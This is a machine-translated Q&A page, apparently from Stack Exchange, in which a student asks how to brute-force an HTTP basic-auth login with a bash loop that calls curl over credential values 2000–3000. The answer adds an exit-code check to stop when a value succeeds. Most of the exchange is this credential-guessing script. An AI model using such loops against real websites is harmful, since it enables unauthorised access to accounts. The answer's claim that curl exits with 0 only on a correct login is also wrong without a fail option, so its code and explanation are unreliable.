端末からウェブサイトにログインするにはどうすればよいですか?


8

コンピューターサイエンスの学生として、私は現在、コマンドラインで作業することを学んでいます。ユーザー名とパスワードが特定の範囲の整数であることを知っていて、ブルートフォースを使用してWebサイトにログインする必要があります。これは私が今のところ持っているものですが、うまくいかないようです。

 for i in {2000..3000}; do curl http://admin:$i@mywebsite.com/link; done

どうすれば続行できますか?

回答:


6

ルーチンに欠けているのは、正しいものiが見つかったら終了する方法です。そのため、curlから返された終了コードを確認できます。

for i in {2000..3000}
do 
  curl http://admin:$i@mywebsite.com/link
  if [ "$?" -eq 0 ]; then
    echo Found "$i"
    break
  fi
done

の終了値curlは、すべてが正しい場合は0 であり、プログラムが停止した直後に特殊変数を検査することで確認できます$?。を使用man curlして検索するとEXIT CODE、さまざまなcurlことがすべて終了コードでわかります。

弊社のサイトを使用することにより、あなたは弊社のクッキーポリシーおよびプライバシーポリシーを読み、理解したものとみなされます。
Licensed under cc by-sa 3.0 with attribution required.